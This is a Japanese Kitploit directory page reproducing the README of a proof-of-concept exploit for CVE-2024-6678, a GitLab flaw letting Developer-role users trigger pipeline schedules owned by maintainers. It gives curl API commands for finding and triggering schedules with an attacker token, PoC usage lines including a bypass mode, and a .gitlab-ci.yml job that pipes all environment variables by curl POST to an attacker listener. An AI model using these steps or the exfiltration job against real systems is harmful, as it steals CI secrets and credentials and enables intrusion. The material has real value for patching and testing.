Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-6678 — CVE-2024-6678 用の PoC | Kitploit
ツール/GitHubGitHub/fallenskill1/cve-2024-6678
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストクラウドセキュリティDevSecOps
GitHubfallenskill1/cve-2024-6678

CVE-2024-6678

CVE-2024-6678 用の PoC

リポジトリを見る
4113ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-6678 - GitLab: パイプラインスケジュールの任意ユーザートリガー

CVE-2024-6678 の PoC

脆弱性の説明

GitLab では、ユーザーは「Play」ボタンを使って CI/CD パイプラインのスケジュール(Pipeline Schedules)を手動で起動できます。この脆弱性は、「play」機能がDeveloper 権限を持つすべてのユーザー(スケジュールの所有者だけでなく)にスケジュールの起動を許可することです。これにより、次の 2 つの結果が生じます:

  1. 開発者が、より特権を持つユーザー(Maintainer / Owner)によって作成・設定されたスケジュールを起動する。
  2. 起動されたパイプラインは、スケジュールの環境変数(機密情報を含む)を継承するが、Developer は API を通じてそれらを閲覧する権限を持っていない。

最終的な影響は、スケジュール変数に何が保存されているかによって異なります。例えば、DB_PASSWORD 変数があればデータベースの完全なダンプが可能になり、SSH_PRIVATE_KEY があれば RCE が可能になります。

再現手順

前提条件

  • GitLab CE/EE、バージョン 8.14 から 17.1.6 / 17.2.4 / 17.3.1
  • ターゲットプロジェクトにおいて Developer 権限を持つ攻撃者のアカウント
  • プロジェクトに少なくとも 1 つのアクティブなパイプラインスケジュールが存在する
  • スケジュールが保護されていないブランチ(例:develop、staging)を対象としていること。または、プロジェクト内に短い形式の ref(bypass)を持つスケジュールが存在すること

重要: 保護されたブランチ(例:保護が有効な場合の refs/heads/main)のスケジュールは、PipelineSchedulePolicy#protected_ref ポリシーによってブロックされ、HTTP 403 を返します。この攻撃は保護されていないブランチに対して機能します。実際、そのようなブランチでは、本番の認証情報を使用したインテグレーション用・ステージング用スケジュールがよく作成されます。

ステップ 1: スケジュールの一覧を取得

ツールをダウンロード
root@kitploit:~
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
  | python3 -m json.tool

より特権を持つユーザー(Maintainer/Owner)が所有するスケジュールを見つけます。

ステップ 2: スケジュールを起動

root@kitploit:~
curl -s -X POST \
  -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"

想定される応答: HTTP 201 — パイプラインがキューに追加されました。

パイプラインは攻撃者の名前で(current_user)作成されますが、スケジュールのすべての変数(所有者が設定した API キー、トークン、認証情報が含まれる可能性があります)を保持します。

HTTP 500 "Unable to schedule pipeline run immediately" — 想定される動作です。これは Sidekiq の重複排除(deduplicate :until_executed)です。このスケジュールのジョブは、以前の成功した起動からすでにキューに存在しています。つまり、攻撃は以前にすでに成功しており、ジョブは実行を待っています。

ステップ 3: 攻撃者の名前でパイプラインが作成されたことを確認

root@kitploit:~
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
  | python3 -m json.tool | grep -E '"id"|"status"|"username"'

PoC の使用方法

root@kitploit:~
# Базовый запуск: автовыбор расписания
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42

# Указать конкретное расписание
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --schedule-id 7

# Через GraphQL (требует --project-path)
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --graphql \
    --project-path "mygroup/myrepo"

# Проверить legacy-ref bypass
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --exploit-mode
image_2026-05-21_11-43-42
image

PoC はトリガー前に、develop の .gitlab-ci.yml を次のように置き換えます: stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-

これらはすべて、あなたのリスナーに送信されます。

image_2026-05-21_19-05-58

リンク

  • GitLab セキュリティアドバイザリ
  • NVD: CVE-2024-6678